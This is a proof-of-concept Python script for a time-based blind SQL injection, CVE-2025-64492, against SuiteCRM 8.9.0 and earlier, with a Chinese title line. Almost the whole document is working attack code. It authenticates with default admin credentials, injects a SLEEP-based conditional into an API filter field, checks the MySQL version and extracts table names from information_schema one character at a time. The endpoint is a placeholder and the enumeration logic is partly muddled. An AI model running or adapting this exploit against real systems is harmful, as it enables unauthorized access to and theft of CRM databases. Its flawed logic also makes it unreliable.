CVE-2025-64492 SuiteCRM 8.9.0及以下版本时间盲注SQL注入漏洞

import time import requests # CVE-2025-64492 Time-Based Blind SQL Injection PoC # Target: SuiteCRM <= 8.9.0 # Author: Security Researcher TARGET_URL = "http://target-suitecrm.com" LOGIN_URL = f"{TARGET_URL}/api/oauth/access-token" TARGET_ENDPOINT = f"{TARGET_URL}/api/v8/some-endpoint" USERNAME = "admin" PASSWORD = "admin" def login(): """Authenticate and get access token""" data = { "grant_type": "password", "client_id": "suitecrm", "client_secret": "", "username": USERNAME, "password": PASSWORD } response = requests.post(LOGIN_URL, json=data) if response.status_code == 200: return response.json().get("access_token") return None def inject_sql_payload(token, payload): """Send SQL injection payload and measure response time""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } data = { "filter": [ { "field": f"test' AND (SELECT CASE WHEN ({payload}) THEN SLEEP(5) ELSE 0 END) AND '1'='1", "operator": "equals", "value": "1" } ] } start_time = time.time() response = requests.post(TARGET_ENDPOINT, json=data, headers=headers, timeout=30) elapsed_time = time.time() - start_time return elapsed_time def extract_db_version(token): """Extract database version using time-based blind SQLi""" payload = "(SELECT SUBSTRING(@@version,1,1)='5')" # MySQL 5.x elapsed = inject_sql_payload(token, payload) return elapsed > 5 def extract_table_names(token): """Enumerate table names from database""" tables = [] for i in range(1, 50): payload = f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND SUBSTRING(table_name,{i},1)='a')" if inject_sql_payload(token, payload) > 5: # Extract character by character table_name = "" for j in range(1, 50): for char in range(32, 127): payload = f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND SUBSTRING(table_name,{j},1)=CHAR({char}))" if inject_sql_payload(token, payload) > 5: table_name += chr(char) break tables.append(table_name) break return tables def main(): print("[*] CVE-2025-64492 - SuiteCRM Time-Based Blind SQL Injection") print("[*] Authenticating to SuiteCRM...") token = login() if not token: print("[-] Authentication failed") return print("[+] Authentication successful") print("[*] Testing SQL injection...") if extract_db_version(token): print("[+] Database version extraction successful") tables = extract_table_names(token) print(f"[+] Found tables: {tables}") if __name__ == "__main__": main()